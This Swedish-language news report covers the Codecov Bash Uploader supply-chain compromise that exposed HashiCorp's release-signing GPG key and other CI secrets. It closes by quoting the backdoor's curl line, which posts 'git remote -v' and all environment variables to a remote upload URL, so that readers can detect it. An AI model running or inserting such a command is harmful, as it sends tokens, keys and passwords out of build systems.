Införandet av skadlig kod i Codecov-skriptet ledde till att HashiCorps PGP-nyckel komprometterades.

Företaget HashiCorp, känt för sina öppna verktyg Vagrant, Packer, Nomad och Terraform, har meddelat om ett läckage av den privata GPG-nyckeln som används för att skapa digitala signaturer som verifierar releaser. Angripare som fått tillgång till GPG-nyckeln har potentiellt kunnat göra dolda ändringar i HashiCorps produkter och bekräfta dem med en korrekt digital signatur. Företaget har dock uppgett att det under genomfört granskningar inte har upptäckts några spår av försök till sådana modifieringar.

Den komprometterade GPG-nyckeln har för närvarande återkallats och en ny nyckel har införts. Problemet påverkade endast verifiering via SHA256SUM- och SHA256SUM.sig-filer och berörde inte skapandet av digitala signaturer för DEB- och RPM-linuxpaket som levereras via releases.hashicorp.com, samt mekanismerna för att bekräfta releaser för macOS och Windows (AuthentiCode).

Läcka inträffade på grund av användning av Codecov:s Bash Uploader-skript (codecov-bash) i infrastrukturen, vilket är avsett för att ladda upp täckningsrapporter från kontinuerliga integrationssystem. Under en attack på företaget Codecov infogades en bakdörr i det angivna skriptet, genom vilken sändningar av lösenord och krypteringsnycklar organiserades till server angripare.

För att hacka använde angriparna en sårbarhet i skapandet av Codecov:s Docker-image som gjorde det möjligt att hämta åtkomstdata för GCS (Google Cloud Storage), vilka är nödvändiga för att göra ändringar i Bash Uploader-skriptet som spreds från codecov.io. Ändringarna genomfördes redan den 31 januari, förblev oobserverade i två månader och gjorde det möjligt för illasinnade aktörer att hämta information som lagrades i kunderna's kontinuerliga integrationssystem. Genom den tillagda skadliga koden kunde angriparna få information om den testade Git-repositoriet och alla miljövariabler, inklusive tokens, krypteringsnycklar och lösenord som överfördes till kontinuerliga integrationssystem för att organisera åtkomst till applikationskoden, lagringsutrymmen och tjänster såsom Amazon Web Services och GitHub.

Förutom direktanropet har skriptet Codecov Bash Uploader använts tillsammans med andra laddare, såsom Codecov-action (Github), Codecov-circleci-orb och Codecov-bitrise-step, vars användare också drabbas av problemet. Alla användare av codecov-bash och relaterade produkter rekommenderas att granska sina infrastrukturer samt byta lösenord och krypteringsnycklar. För att kontrollera förekomsten av en bakdörr i skriptet kan man leta efter raden curl -sm 0.5 -d «$(git remote -v)<<<< ENV $(env)» http:///upload/v2 || true

Källa: opennet.ru